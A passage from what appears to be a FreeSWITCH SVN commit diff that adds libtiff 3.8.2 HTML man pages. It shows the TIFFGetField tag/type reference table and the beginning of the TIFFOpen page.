+ttag_t</b> <i>tag</i><b>,</b> <i>...</i><b>)<br>
+int TIFFVGetFieldDefaulted(TIFF *</b><i>tif</i><b>,
+ttag_t</b> <i>tag</i><b>, va_list</b> <i>ap</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFGetField</i> returns the value of a tag or
+pseudo-tag associated with the the current directory of the
+opened <small>TIFF</small> file <i>tif</i>. (A
+<i>pseudo-tag</i> is a parameter that is used to control the
+operation of the <small>TIFF</small> library but whose value
+is not read or written to the underlying file.) The file
+must have been previously opened with
+<i>TIFFOpen</i>(3TIFF). The tag is identified by <i>tag</i>,
+one of the values defined in the include file <b>tiff.h</b>
+(see also the table below). The type and number of values
+returned is dependent on the tag being requested. The
+programming interface uses a variable argument list as
+prescribed by the <i>stdarg</i>(3) interface. The returned
+values should only be interpreted if <i>TIFFGetField</i>
+returns 1.</p>
+<!-- INDENTATION -->
+<p><i>TIFFVGetField</i> is functionally equivalent to
+<i>TIFFGetField</i> except that it takes a pointer to a
+variable argument list. <i>TIFFVGetField</i> is useful for
+layering interfaces on top of the functionality provided by
+<i>TIFFGetField</i>.</p>
+<!-- INDENTATION -->
+<p><i>TIFFGetFieldDefaulted</i> and
+<i>TIFFVGetFieldDefaulted</i> are identical to
+<i>TIFFGetField</i> and <i>TIFFVGetField</i>, except that if
+a tag is not defined in the current directory and it has a
+default value, then the default value is returned.</p>
+<!-- INDENTATION -->
+<p>The tags understood by <i>libtiff(3TIFF),</i> the number
+of parameter values, and the types for the returned values
+are shown below. The data types are specified as in C and
+correspond to the types used to specify tag values to
+<i>TIFFSetField</i>(3TIFF). Remember that
+<i>TIFFGetField</i> returns parameter values, so all the
+listed data types are pointers to storage where values
+should be returned. Consult the <small>TIFF</small>
+specification (or relevant industry specification) for
+information on the meaning of each tag and their possible
+values.</p></td>
+</table>
+<!-- TABS -->
+
+<p><i>Tag Name Count Types Notes</i></p>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ARTIST</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_BADFAXLINES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_BITSPERSAMPLE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_CLEANFAXDATA</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COLORMAP</p>
+</td>
+<td width="8%">
+
+<p>3</p>
+</td>
+<td width="23%">
+
+<p>uint16**</p>
+</td>
+<td width="17%">
+
+<p>1&lt;&lt;BitsPerSample arrays</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COMPRESSION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_CONSECUTIVEBADFAXLINES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_COPYRIGHT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DATATYPE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DATETIME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DOCUMENTNAME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_DOTRANGE</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_EXTRASAMPLES</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*,uint16**</p>
+</td>
+<td width="17%">
+
+<p>count &amp; types array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FAXFILLFUNC</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>TIFFFaxFillFunc*</p>
+</td>
+<td width="17%">
+
+<p>G3/G4 compression pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FAXMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>int*</p>
+</td>
+<td width="17%">
+
+<p>G3/G4 compression pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_FILLORDER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_GROUP3OPTIONS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_GROUP4OPTIONS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_HALFTONEHINTS</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_HOSTCOMPUTER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ICCPROFILE</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint32*,void**</p>
+</td>
+<td width="17%">
+
+<p>count, profile data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEDEPTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEDESCRIPTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGELENGTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_IMAGEWIDTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_INKNAMES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_INKSET</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGCOLORMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>int*</p>
+</td>
+<td width="17%">
+
+<p>JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGQUALITY</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>int*</p>
+</td>
+<td width="17%">
+
+<p>JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGTABLES</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint32*,void**</p>
+</td>
+<td width="17%">
+
+<p>count &amp; tables</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_JPEGTABLESMODE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>int*</p>
+</td>
+<td width="17%">
+
+<p>JPEG pseudo-tag</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MAKE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MATTEING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MAXSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MINSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_MODEL</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ORIENTATION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PAGENAME</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PAGENUMBER</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PHOTOMETRIC</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PHOTOSHOP</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint32*,void**</p>
+</td>
+<td width="17%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PLANARCONFIG</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PREDICTOR</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_PRIMARYCHROMATICITIES</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float**</p>
+</td>
+<td width="17%">
+
+<p>6-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_REFERENCEBLACKWHITE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float**</p>
+</td>
+<td width="17%">
+
+<p>2*SamplesPerPixel array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_RESOLUTIONUNIT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_RICHTIFFIPTC</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint32*,void**</p>
+</td>
+<td width="17%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_ROWSPERSTRIP</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SAMPLEFORMAT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SAMPLESPERPIXEL</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SMAXSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>double*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SMINSAMPLEVALUE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>double*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SOFTWARE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_STONITS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>double**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_STRIPBYTECOUNTS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_STRIPOFFSETS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SUBFILETYPE</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_SUBIFD</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*,uint32**</p>
+</td>
+<td width="17%">
+
+<p>count &amp; offsets array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TARGETPRINTER</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>char**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_THRESHHOLDING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEBYTECOUNTS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEDEPTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILELENGTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEOFFSETS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32**</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TILEWIDTH</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint32*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_TRANSFERFUNCTION</p>
+</td>
+<td width="8%">
+
+<p>1 or 3&dagger;</p>
+</td>
+<td width="23%"></td>
+<td width="17%">
+
+<p>uint16**1&lt;&lt;BitsPerSample entry arrays</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_WHITEPOINT</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float**</p>
+</td>
+<td width="17%">
+
+<p>2-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XMLPACKET</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint32*,void**</p>
+</td>
+<td width="17%">
+
+<p>count, data</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XPOSITION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_XRESOLUTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRCOEFFICIENTS</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float**</p>
+</td>
+<td width="17%">
+
+<p>3-entry array</p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRPOSITIONING</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YCBCRSUBSAMPLING</p>
+</td>
+<td width="8%">
+
+<p>2</p>
+</td>
+<td width="23%">
+
+<p>uint16*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YPOSITION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float*</p>
+</td>
+<td width="17%">
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="41%">
+
+<p>TIFFTAG_YRESOLUTION</p>
+</td>
+<td width="8%">
+
+<p>1</p>
+</td>
+<td width="23%">
+
+<p>float*&Dagger;</p>
+</td>
+<td width="17%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>&dagger; If <i>SamplesPerPixel</i> is one, then a single
+array is returned; otherwise three arrays are returned.<br>
+&Dagger; The contents of this field are quite complex. See
+<i>The ICC Profile Format Specification</i>, Annex B.3
+&quot;Embedding ICC Profiles in TIFF Files&quot; (available
+at http://www.color.org) for an explanation.</p>
+</td>
+</table>
+<a name="AUTOREGISTERED TAGS"></a>
+<h2>AUTOREGISTERED TAGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>If you can&rsquo;t find the tag in the table above that
+means this is unsupported tag. But you still be able to read
+it&rsquo;s value if you know the data type of that tag. For
+example, if you want to read the LONG value from the tag
+33424 and ASCII string from the tag 36867 you can use the
+following code:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>uint16  count;
+void    *data;
+
+TIFFGetField(tiff, 33424, &amp;count, &amp;data);
+printf(&quot;Tag %d: %d, count %d0, 33424, *(uint32 *)data, count);
+TIFFGetField(tiff, 36867, &amp;count, &amp;data);
+printf(&quot;Tag %d: %s, count %d0, 36867, (char *)data, count);
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>is not supported by <b>libtiff(3TIFF),</b> library</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned if the tag is defined in the current
+directory; otherwise a 0 is returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Unknown field, tag 0x%x</b>. An unknown tag was
+supplied.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFSetField</b>(3TIFF),
+<b>TIFFSetDirectory</b>(3TIFF),
+<b>TIFFReadDirectory</b>(3TIFF),
+<b>TIFFWriteDirectory</b>(3TIFF) <b>libtiff</b>(3TIFF),</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFOpen.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFOpen.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFOpen.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFOpen.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFOpen.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,421 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFOpen</title>
+</head>
+<body>
+
+<h1 align=center>TIFFOpen</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BYTE ORDER">BYTE ORDER</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFOpen, TIFFFdOpen, TIFFClientOpen &minus; open a
+<small>TIFF</small> file for reading or writing</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>TIFF* TIFFOpen(const char *</b><i>filename</i><b>,
+const char *</b><i>mode</i><b>)<br>
+TIFF* TIFFFdOpen(const int</b> <i>fd</i><b>, const char
+*</b><i>filename</i><b>, const char
+*</b><i>mode</i><b>)</b></p>
+<!-- INDENTATION -->
+<p><b>typedef tsize_t (*TIFFReadWriteProc)(thandle_t,
+tdata_t, tsize_t);<br>
+typedef toff_t (*TIFFSeekProc)(thandle_t, toff_t, int);<br>
+typedef int (*TIFFCloseProc)(thandle_t);<br>
+typedef toff_t (*TIFFSizeProc)(thandle_t);<br>
+typedef int (*TIFFMapFileProc)(thandle_t, tdata_t*,
+toff_t*);<br>
+typedef void (*TIFFUnmapFileProc)(thandle_t, tdata_t,
+toff_t);</b></p>
+<!-- INDENTATION -->
+<p><b>TIFF* TIFFClientOpen(const char
+*</b><i>filename</i><b>, const char *</b><i>mode</i><b>,
+thandle_t</b> <i>clientdata</i><b>, TIFFReadWriteProc</b>
+<i>readproc</i><b>, TIFFReadWriteProc</b>
+<i>writeproc</i><b>, TIFFSeekProc</b> <i>seekproc</i><b>,
+TIFFCloseProc</b> <i>closeproc</i><b>, TIFFSizeProc</b>
+<i>sizeproc</i><b>, TIFFMapFileProc</b> <i>mapproc</i><b>,
+TIFFUnmapFileProc</b> <i>unmapproc</i><b>)</b></p>
+</td>
